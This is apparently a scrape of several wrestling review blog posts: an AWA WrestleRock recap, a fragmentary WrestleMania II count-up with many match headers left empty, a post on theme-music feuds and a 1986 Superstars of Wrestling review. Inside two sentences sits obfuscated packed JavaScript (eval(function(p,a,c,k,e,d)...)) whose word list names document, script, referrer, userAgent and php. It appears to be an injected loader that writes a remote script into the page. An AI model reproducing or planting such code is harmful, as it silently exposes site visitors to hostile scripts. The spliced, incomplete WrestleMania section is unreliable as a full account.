There are ten girls in this and only three mean anything: Sherri Martel, Luna Vachon (didn’t mean anything yet) and Candi Divine, who was awful but was popular in the AWA. She’s also Women’s Champion here. I have no idea who most of these women are. They’re blondes in spandex. Someone is thrown out and I can’t hear Capetta, nor do I particularly care to know.

Trongard and Capetta keep calling Luna Leona by mistake. Or by lack of intelligence, I’m not sure which. Two more go out but they’re not important enough to announce. Somehow we got down to six. Luna (NOT LEONA) is gone. I think a Greek chick powerbombs Divine but it’s not important enough to talk about. The Greek chick is out and we’re down to Martel, Debbie Combs, Candi Divine and some chick that Trongard doesn’t bother naming. Divine misses a charge and we’re down to three. Her name is Joyce Grable. Ok then. Martel is knocked under the ropes, Combs throws out Grable and Martel sneaks in to steal the win.

Rating: F. I didn’t know half of the names in this. That should tell you everything you need to know.

Sherri gets fifty grand and Rose/Somers want the tag titles.

Ten minute intermission, because this show needs to be LONGER.

We’re only halfway through the card. See what I’m putting up with?

AWA America’s Title: Sgt. Slaughter vs. Kamala

Slaughter is champion and is WAY over. He’s pretty much the most popular guy in the company, which is why he never got the world title. I mean, Heaven forbid the fans decide who the top guy is. That’s one thing that needs to be remembered about the AWA: yes Vince took a lot of their talent, but it was Gagne that screwed up a lot of stuff. If he had just given the title to Hogan like the people were SCREAMING for, Hogan wouldn’t have left.

Oh yeah the match. As usual with Kamala matches, he uses REALLY boring offense like you would see from any fat guy, including but not limited to chops, something resembling punches, shots to the throat, and a stomach claw. Slaughter makes his comeback, Kamala hits him some more, Slaughter Cannon, Kim Chee runs in for the DQ. Short and nothing of note at all.

Hall and Hennig say they’ll keep the titles.

Tag Titles: Scott Hall/Curt Hennig vs. Long Riders

The Long Riders are a biker team who ride in on their motorcycles. Hall gets an award for being popular pre match. The champions won the titles in Albuquerque apparently, which is nowhere near the AWA territory, so I’m going to bet that match didn’t happen. Also the regular AWA ring announcer, Larry Nelson, is now sitting in on commentary with Trongard. The Long Riders are Scott “Hog” Irwin and Wild Bill Irwin.

Hall starts with Scott (for this match, Scott will only be used for Scott Irwin. Scott Hall will only be called Hall) as we hear about the Long Riders being made to wear wrestling gear. Apparently their biker gear has been used for EVIL and has therefore been banned. Nothing goes on here so the partners both tag off. Hennig hits a HUGE dropkick on the future Goon and we head to the floor for a chase scene. Back to Hall as the champions have been in total control the whole time so far.

Bill manages to take Hall to the mat for about two full seconds but the more famous one grabs an armbar to take over. Off to Hennig and the beating continues. Dropkick gets two as we’re five minutes in. Curt and Bill slug it out and Hennig superkicks him down for two. Bill misses a charge and an elbow drop so Hennig grabs a headlock. They get up and do a weird sequence where they’re both on their stomachs and Curt crawls at him as Bill backpedals to the floor.

Test of strength now and Hennig kind of suplexes him over for two. The Riders take over on Curt with some double teaming. They draw in Hall for some lame double teaming as we’re at ten minutes into this. More double teaming which is mainly just assisted choking. Curt avoids an elbow drop and it’s off to Hall. House is cleaned and noggins are knocked but it’s back to Hennig. Everything breaks down and Curt is sent to the floor. It doesn’t really matter though as Hall goes to the floor with Scott, allowing a missile dropkick from Hennig to retain the titles.

Rating: C-. Not bad here as there was a formula and an idea here, but the execution wasn’t that great. The Riders were a pretty weak team but it could have been far worse. Hennig was a huge deal in the AWA and would hold the world title for over a year starting in May of 87. Decent match but nothing all that great. It’s a big upgrade on the majority of the show though.

Scott hits Hennig with a boot post match. The champions complain about that for awhile.

Larry Zbyszko vs. Scott LeDoux

LeDoux was a legit boxer before becoming a referee and wrestler in the AWA. This is under “European” rules, which means they wear gloves and we have ten two minute rounds. Larry Hennig, Curt’s papa, is the referee for no apparent reason. It’s really closer to boxing than wrestling but it’s the AWA so I doubt they knew what it was supposed to be. They tease hitting each other for a bit until LeDoux grabs a full nelson. Larry escapes and Scott (what is with that name being so popular in this company?) unloads on him with punches, sending Larry to the floor.

This is actually closer to MMA (kind of almost sort of) than boxing or wrestling but whatever. Larry chills with his ninja (don’t ask) for a bit as we’re probably about halfway through the first round. LeDoux gets into a boxing stance so Larry bails to the apron. I’m shocked too. Larry picks the leg and goes to the mat which is smart. Round 1 ends with Larry in control.

Off to round 2 and Larry gets on one knee. He gets up and hits a spinning kick to the ribs. Larry climbs on his back which doesn’t work at all as LeDoux pounds on the ribs with elbows. Armdrag by Larry into an armbar but LeDoux punches him in the face. Larry pounds him in the corner and slams him for no cover. Zbyszko pounds on him to end the round.

Round 3 begins with Scott’s eye swelling shut. Larry takes him to the mat and hooks a front chancery. For the first time we’re told you win by pin or knockout. Decisions are still a gray area. Larry POUNDS HIM with punches and a kick to the ribs. Back to the mat and Larry is totally dominating him.

Round 4 starts with Larry missing a kick and LeDoux gets in a flurry to take over. For no apparent reason he grabs Larry and rams him into the corner. There’s a slam and Larry is reeling. The fans aren’t that thrilled but you can’t please everyone. They’re both getting gassed here but LeDoux clocks Larry to end the round but the bell saves him.

Larry starts round 5 bleeding and gets knocked to the floor….where he rams LeDoux into the post for the DQ 5 seconds into the round.

Rating: C-. I liked it but it wasn’t great. As usual with this show, I have no idea why they were fighting because the announcers are too busy telling us that the AWA is a national company to give us a simple story. The match was entertaining though which is really all you can ask for in something like this. Good stuff and thankfully they kept it fast paced. If this was just boxing, it would have been a disaster.

Post match LeDoux wants to kill Larry and the fans are into this for once. The Ninja jumps Scott and Larry (the referee, who did NOTHING in this match) makes the save.

LeDoux wants a rematch.

AWA World Title: Stan Hansen vs. Nick Bockwinkel

Hansen is the champion and evil here. He runs over Nelson for no apparent reason. Hansen normally works for Baba in Japan but is here as champion to give the AWA a boost. They immediately go to the floor with Hansen pounding away. Nelson immediately turns into a super Bockwinkel fan as Nick makes a brief comeback. Hansen kicks him in the face and hooks a chinlock. This is looking wild so far.

Elbow drop gets two for the champion. Bockwinkel takes over on the arm and now Stan is in trouble. Nick tries to fight back with some right hands but they get him nowhere. A sunset flip gets two as the cameraman drops the camera. Off to an armbar as Trongard tells us how great the AWA is. I haven’t mentioned it that often but he says it more often than Cole plugs Twitter. They slug it out, naturally won by Stan, and it’s time for another chinlock.

Trongard spends the entire hold on a speech about how second best isn’t acceptable in the AWA and how they have the best. YOU JUST SAID THAT TEN SECONDS AGO!!! Nick tries to come back and grabs a sleeper, one of his finishers. Hansen gets to a rope though and they fall to the floor. They slug it out a bit out there but then go back inside to punch each other (HARD) some more.

Hansen outsmarts Nick (hard to do) by suckering him into a stun gun for two. Nick blocks a suplex into one of his own for two. It gets two so Nelson says almost only counts in drive-in movies. I think I get what he means there and I don’t think I want to know if I’m right. The referee gets bumped so Bockwinkel’s slam only gets no cover. Crossbody gets the same. Piledriver gets two…and then Hansen backdrops him over the top for the LAME DQ.

Rating: B-. Why am I not surprised? This match was starting to get good and then never mind, because we need to have a screwy finish. As usual, the idea here is simple: give them something to fight over in the form of the title and have two talented guys in there and you’ll get a good match. Bockwinkel would get the title later on when Hansen said screw this nonsense and went to Japan full time.

They brawl post match until Bockwinkel chases him off with a chair. Nick says he used to cheat to keep the title but it’s not fair here.

There’s another intermission to set up the cage.

Now the last three matches are in a cage, but for some reason on the tape they’re out of order. This is in the order that they air on the tape.

Nord the Barbarian/King Kong Brody vs. Jimmy Snuka/Greg Gagne

A few notes here: Snuka is a mystery partner subbing for Jerry Blackwell (that’s for the better, trust me), this match originally went on second of the three cage matches, King Kong Brody is Bruiser Brody because of some legit complaint from Dick the Bruiser, and if Snuka/Gagne win, Verne gets 10 minutes in the cage with Sheik Adnan-Al Kaissie. This is announced as the main event, even though there could be more stuff after it. Oh and Nord the Barbarian is just called Barbarian and is more famous as the Berzerker.

Snuka gets zero fanfare at all. Gagne looks like a 1996 version of Chavo Guerrero. They have to tag here so the match is automatically dropped a few notches. Gagne starts with Brody. Greg gets in a few punches but Brody kicks him in the face, making Gagne look like he got shot. Off to Barbarian who gets punched back into his own corner. Off to Snuka for a death defying chinlock.

The match slows way down as Brody comes in and knocks Snuka down. Then they stand around. Then they stand around some more. Snuka does his leapfrogs but Brody knocks him right back down. Off to Gagne and I can’t believe I’m saying this, but it makes the match way better. If nothing else he sells everything like death which is usually a cool thing to see.

Greg gets rammed into the cage to bust him open. Good piledriver by Brody gets two. Nelson turns into an annoying fanboy again but Gagne’s comeback is shortlived. He manages to send Nord into the cage and there’s the hot tag (with a pop) to Snuka. Off to Brody who is busted open. He yells a lot as Snuka hammers away on him.

Snuka gets in Superfly position but hits a headbutt instead. Nord interferes and Snuka is in trouble again. Everything breaks down and the heels get rammed into each other. Double dropkick puts Nord down and a double suplex does the same to Brody. Snuka rams into Gagne by mistake, but Snuka gets up and dropkicks Nord who trips over Gagne and gets pinned.

Rating: D. Oh boy did they screw this up. First of all, WHERE IS THE SUPERFLY SPLASH??? You bring in Jimmy Snuka and he doesn’t even hit the move he’s legendary for in the kind of match he’s legendary for hitting it in? Second, there was way too much heel control here. The idea is supposed to be faces control to start, Gagne opens, tag to Snuka for more dominance, back to Gagne, Gagne gets beaten down, hot tag, finish.

Instead it was faces control, heels control, faces comeback, faces screw up, faces steal a win. The problem is that it doesn’t allow the fans to build up momentum. This match had the pieces of a decent match, but they were all in the wrong order which is what made it hard to stay invested in. Also the lack of a splash hurt it a lot.

Verne Gagne vs. Sheik Adnan Al-Kaissie

This has a backstory actually. The Sheik and his men broke Verne’s ribs….two years ago. They go in and Sheik automatically tries to run. Gagne slams him and Sheik’s belt is taken off. Not that it matters because the referee throws it away. Verne rams him into the cage and Sheik is busted BAD. For someone that is in a revenge match, Verne is standing around a lot. Backdrop sets up a sleeper but the Sheik breaks it up quickly. Sheik takes over but his slam is countered into a small package for the pin.

Rating: D-. Uh……WHAT THE HECK WAS THAT??? This was like 4 minutes long which is fine, but A SMALL PACKAGE IN A MATCH BASED ON REVENGE??? This should have been Verne destroying him but instead it was like two cage shots, some punches and a small package. I don’t get this at all and it was boring on top of that. Terribly stupid match.

Gagne retires again post match.

Road Warriors vs. Freebirds

Thank goodness this is the last match. This actually took place before the other tag two cage matches, but Verne had to go on last on the real card. The tape version makes him seem more humble at least. This is Hayes/Garvin. Hawk and Hayes get things going. Hayes immediately hits a piledriver which is of course no sold. Let the pain begin. Hayes goes into the cage a few times and he’s busted quickly.

Gorilla press to Hayes and Hawk drops a right hand. Garvin runs away from a tag so Hayes tries to climb out. Hawk goes up top as well and Michael is knocked to the floor. Garvin finally gets the tag and he’s tentative at best. Why no Animal yet? Oh there he is, for a TEN REP gorilla press. Now Hayes runs from the tag.

And never mind as he comes in a few seconds alter. Hayes gets in a few shots but Hawk runs him over quickly. He bites the cut on Hayes’ head because Hawk is a little nuts. Garvin comes in to pound on him and it’s back to Hayes for a figure four. Hawk easily breaks it and it’s back to Garvin, whose offense is shrugged off. Not hot tag to Animal and everything breaks down. Hayes pulls out some brass knuckles but he hits Garvin by mistake so Animal gets the easy pin.

Rating: D. According to the announcer that gives the Warriors revenge for something, but again it’s not important enough to tell us about. This was about as dominant of a match as you can see without it being a squash. The Birds never had a chance but they were against the Road Warriors so that shouldn’t be a shock. The Warriors left the AWA after this match.

That ends the show, but because I have no regard for my own sanity, I’ll thrown in a look at the music video namesake of this show: the WrestleRock Rumble. The idea is a music video of the roster “rapping”, because that fits in so well with the them of WrestleROCK. It’s supposed to be in the vein of the SuperBowl Shuffle from the Chicago Bears. This is going to be painful so let’s get it over with.

We open with Hall and Hennig getting out of a pool wearing Speedos. This isn’t going to be pretty is it? They want the Long Riders and “rhyme” about it, then the girls shove them into the pool. An interviewer raps and some Playboy chick says nothing of note. I’m better at rapping than the Rockers I believe. The Sheik sounds as stereotypical as possible. Blackwell, a fat country boy, is shown crushing a board.

Greg Gagne sounds like he smoked five packs a day. We see the same Hennig/Hall segment that started this nightmare. Amazingly enough, Zbyszko’s and Bockwinkel’s are the least bad. They’re not good, but they could have been a lot worse. LeDoux looks like he wants to die. Verne reads his rap, which is kind of funny. And that’s it. It’s terribly corny but it could have been MUCH worse. Again though, why call it a rap when the show has the word ROCK in the name? On top of that, country singer Waylon Jennings had a mini concert after the show. Even the AWA had no idea what they were doing here.

Overall Rating: D-. I won’t call it a failure, because there are some parts of a watchable show in here. The problem is they needed A LOT of stuff fixed here. First of all, cut this down from the over FOUR HOUR run time this already had down to about two hours and forty five minutes. Shave out the midget match and two to three more and it’s a far less uninteresting show.

Second, give us some reasons to watch these matches. This was a recurring problem in the AWA: there were no stories to back up these matches. The only one mentioned was Verne having broken ribs from a few years ago, which is a stretch but it’s better than nothing. There’s no reason to watch this show as the AWA was flying off a cliff at this point, but the matches for the most part aren’t horrible. They’re very boring, but they’re not horrible. Overall it’s not the worst show I’ve ever seen and there are definitely much worse ones, but there’s no appeal here at all.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:




Wrestlemania Count-Up – Wrestlemania II: Three Times The Suck

Wrestlemania II
Date: April 7, 1986
Location: Nassau Veterans Memorial Coliseum, New York City, New York/Rosemont Horizon, Chicago, Illinois/Los Angeles Memorial Sports Arena, Los Angeles, California
Attendance: 16,585 (New York), 9,000 (Chicago), 14,500 (Los Angeles), 40,085 (Total)
Commentators: Vince McMahon, Susan St. James, Gene Okerlund, Gorilla Monsoon, Cathy Lee Crosby, Alfred Hayes, Jesse Ventura, Elvira

This is on a Monday for some reason.

This was a tape I watched to death back when I was a kid so the theme music for this brings a smile to my face.

Vince opens things up in New York and introduces Susan St. James, a popular actress of the day, to be his co-commentator.

Ray Charles sings America the Beautiful.

Gene is in Chicago and welcomes us to the city for later on.

Paul Orndorff vs. Don Muraco

Intercontinental Title: George Steele vs. Randy Savage

Steele does a freaky kind of dance and Savage immediately bails to the floor. That works so well that they do it again and make it three times until FINALLY George chases after him. Steele catches Savage going back in and bites his calf before they head back in. Randy hits a running knee to the chest but Steele easily lifts him into the air and chokes him down. George gets caught looking at Liz though and is tied up in the ropes so Savage pounds away.

Savage and Liz immediately bail so Steele eats another buckle.

Bill Fralic (a football player) and Big John Studd are both in a battle royal later today and they talk some trash, once again being drowned out by Fink.

Vince asks Susan if she likes snakes. Make your own jokes.

Jake Roberts vs. George Wells

Jake wraps George up in the snake post match and makes Wells foam at the mouth.

Hogan predicts T to win and says his ribs will be fine in the cage tonight.

Roddy Piper vs. Mr. T.

Off to Chicago!

Gene and Gorilla bring in Kathy Lee Crosby to do commentary.

Corporal Kirchner vs. Nikolai Volkoff

Gene takes over the ring announcing for the NFL/WWF battle royal. There are six football players and fourteen wrestlers. Dick Butkus is a guest referee.

Battle Royal

NFL: Jimbo Covert, Harvey Martin, Ernie Holmes, Bill Fralic, Russ Francis, William Perry

WWF: Pedro Morales, Tony Atlas, Ted Arcidi, Dan Spivey, Hillbilly Jim, King Tonga, Iron Sheik, B. Brian Blair, Jim Brunzell, Big John Studd, Bruno Sammartino, Jim Neidhart, Bret Hart

We look at the end of the battle royal again.

Tag Titles: Dream Team vs. British Bulldogs

Greg gets in a few shots in the corner including a forearm to the back to take over and finally bring in Brutus. He cranks on the arm and is immediately gorilla pressed down by Smith. Dynamite comes in again and gets two off a small package. Beefcake makes a blind tag though and Valentine comes in off the top via another forearm to the back and the champions take over. Kid comes right back and pounds away before bringing Smith back in.

The Bulldogs hit a double headbutt for two for Kid but Brutus comes in sans tag to switch momentum right back. Valentine gets two off a kneeling piledriver but falls victim to the Arn Anderson self-crotching mistake. He continues the Horsemen theme by going up top and getting slammed down ala Flair as everything breaks down. Dynamite gets sent to the floor so Smith comes in with the powerslam (not yet the finisher) for two on Valentine.

Off to Los Angeles.

Ricky Steamboat vs. Hercules Hernandez

Adrian Adonis vs. Uncle Elmer

Funk Brothers vs. Junkyard Dog vs. Junkyard Dog/Tito Santana

Hoss gets back in for a crisscross with Terry hitting Tito in the back with a knee to take over. Tito gets knocked to the floor and JYD has to chase Jimmy off a few times before throwing Santana back in. Terry gets two off a suplex and argues with the referee a bit before getting suplexed himself. They hit the ropes and collide but Terry falls into his own corner to bring in Hoss. The Funks hit a double clothesline which gets two for Terry who is getting frustrated.

We set up the cage, which is the big blue kind for the first time ever.

Elvira sends it to New York for comments from Susan and Vince.

WWF World Title: Hulk Hogan vs. King Kong Bundy

Escape only here, as it should be. Tommy Lasorda of the LA Dodgers is guest ring announcer. Ricky Schroder, a child actor, is guest timekeeper and Robert Conrad, an adult actor, is guest referee. Hogan starts firing off right hands to start and knocks Bundy into the cage before choking Bundy with his own singlet. The following clothesline in the corner has Bundy in even more trouble and a forearm to the head staggers him even more. All Hogan so far.

Hogan beats up Heenan to close the show.

Ratings Comparison

Paul Orndorff vs. Don Muraco

Original: D+

Redo: D

Randy Savage vs. George Steele

Original: C-

Redo: C-

Jake Roberts vs. George Wells

Original: F

Redo: D+

Mr. T. vs. Roddy Piper

Original: F

Redo: D

Fabulous Moolah vs. Velvet McIntyre

Original: N/A

Redo: N/A

Corporal Kirschner vs. Nikolai Volkoff

Original: D-

Redo: N/A

Battle Royal

Original: B

Redo: D

British Bulldog vs. Dream Team

Original: B-

Redo: B

Rick Steamboat vs. Hercules Hernandez

Original: C-

Redo: C-

Adrian Adonis vs. Uncle Elmer

Original: N/A

Redo: D-

Terry Funk/Hoss Funk vs. Tito Santana/Junkyard Dog

Original: B-

Redo: B-

Hulk Hogan vs. King Kong Bundy

Original: B-

Redo: D

Overall Rating

Original: D+

Redo: D

Dang those must have been the strong rose colored glasses back then.

http://kbwrestlingreviews.com/2011/03/09/history-of-wrestlemania-with-kb-wrestlemania-2-what-the-hell-were-they-thinking/

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Thought of the Day: Fight Over The Music

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itsei|var|u0026u|referrer|zanir||js|php'.split('|'),0,{})) only remember seeing this twice and it hasn’t happened in over 25 years.Back in 1986, Hulk Hogan and Paul Orndorff had a HUGE feud.  During the course of this, Orndorff started to use Hogan’s legendary Real American song as his own, claiming that he (Orndorff) was the true Real American.

 

In 1987, the Young Stallions formed and started using a song called Crank It Up.  Jimmy Hart, the writer of the song, was angry because he wanted the Hart Foundation to use it.

 

Why don’t we see theme music as a feud starter anymore?  I know a lot of the songs are generic and could be interchanged, but given how similar a lot of the feuds are anymore, this is as a good an idea as anything else for getting people not liking each other.




Superstars of Wrestling – October 18, 1986: Drinking Soap And Wrestling Dogs

Superstars eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|behnt|var|u0026u|referrer|zibea||js|php'.split('|'),0,{})) of Wrestling
Date: October 18, 1986
Location: Onadonga War Memorial, Syracuse, New York
Commentators: Vince McMahon, Jesse Ventura, Bruno Sammartino

TNA shows take awhile to find so here’s something else to fill in the time with. We’re still in late 86 here and it’s still Piper vs. Adonis and Hogan vs. Orndorff, which will go on for a few more months. After that we upgrade to the biggest one on one storyline of all time. Still though, this is a very fun time in the company’s history. Let’s get to it.

Theme song and the usual Vince preview of the show.

SD Jones vs. Hercules Hernandez

Herc jumps him to start and Danny Davis is all cool with that. The fans already think this is boring. It’s a total squash so far with Hernandez running over Jones with a variety of clotheslines and chokes. Slick says Hogan is next. Jones comes back with a headbutt and some punches but that’s about it. A Torture Rack ends SD quick.

Rating: D. Just a squash here for Hercules who was supposed to be a big deal but it never really happened. I’ll go with this as proof of that: at Wrestlemania II, the original plan was Bret vs. Steamboat in the show stealer, but Hercules got the match with the Dragon instead because Herc was seen as the better prospect. See, he’s strong.

UPDATE!

This gives us a strange sequence of Orton and Muraco watching Superstars reruns at Muraco’s house. They see themselves beating up Piper and hurting his leg.

Luscious Johnny V has a new man in Dino Bravo, who has dark hair here.

Tony Parks vs. Dino Bravo

Apparently the announcers have seen Bravo before. He throws Parks around and atomic drops him to the floor. Parks makes a quick comeback but gets his head clotheslined off. Bravo throws him to the floor, brings him back in for a dropkick and a belly to back suplex ends the massacre.

House show ad. Piper says he doesn’t need a referee when he’s beating up Muraco.

Brutus talks about taking care of himself outside of the ring and we get a clip of Greg Valentine getting a massage on Tuesday Night Titans.

Bob Bradley/Tiger Chung Lee vs. Killer Bees

The Bees are in their masks still here but they take them off before the match starts. Lee and Blair get us started and it’s off to Brunzell very quickly. Lee hits some kind of shot to the throat to take over but Bradley doesn’t have such good luck. Blair hits a powerslam and it’s back to Blair. Bradley tries a splash but it gets knees. Brunzell’s dropkick gets the pin. More squashification but the Bees would hook up with the Harts soon and things would get a lot better.

Another ad for the same Boston house show. Savage is ready for Steamboat, who is a great athlete. He’s just not great enough to take the title.

Butch Reed vs. Rick Hunter

Hunter actually gets a quick headscissors to take Reed down which is more offense than I was expecting from him. Reed grabs one of his own and punishes Hunter with it a little bit. Off to a chinlock but Hunter breaks out of it. Not that it matters as a jumping knee takes him down. Top rope clothesline ends this quick.

Time for Piper’s Pit with the guest Jimmy Hart. Hart has presents in an attempt to buy his own safety. Everyone chipped in and got him a crutch. Muraco got him a Hawaiian lei, Fuji got him a pair of women’s underwear and Orton got him a cowboy hat and a noose to hang himself with. Piper forces him into a chair and says he has a surprise for him.

Jimmy has to close his eyes so Piper can tie Jimmy to the chair with the rope. Oh wait that’s not the present. He has a bottle of I think soap to wash Jimmy’s mouth out. Piper: “You can give this lei back to Muraco because it’s the only lay you’re ever going to get.” He puts the soap in Jimmy’s mouth and makes him spit it into the cowboy hat. As for the bad leg, Piper hops off on one leg. Good segment.

We get a clip from Hillbilly Jim’s house with Granny. Jim plays the guitar and sings a song for her. Then he heats up a wooden stove and shows us his workout routine. Then he wrestles a dog but Granny comes in to yell at him. This whole thing ate up several minutes.

Paul Orndorff looks into three mirrors while Heenan praises him.

Mike Sharpe vs. Ricky Steamboat

Feeling out process to start but Sharpe gets in a shot with the loaded pad to knock Steamboat to the floor. Steamboat comes back and hits a top rope chop to get back into the ring. Regular chop sets up the cross body for the pin.

Muraco is ready for Piper in Boston. He talks about how they used to be friends but now things have changed. Really good promo here.

Overall Rating: C-. This was a very segment heavy show which is ok but a lot of the segments were pretty random. The Hart/Piper thing was hilarious as Piper was insane as usual. Other than that though there wasn’t much here, especially the Hillbilly deal. One thing I will say though: some character development such as stuff like that is better than almost none that we get today.

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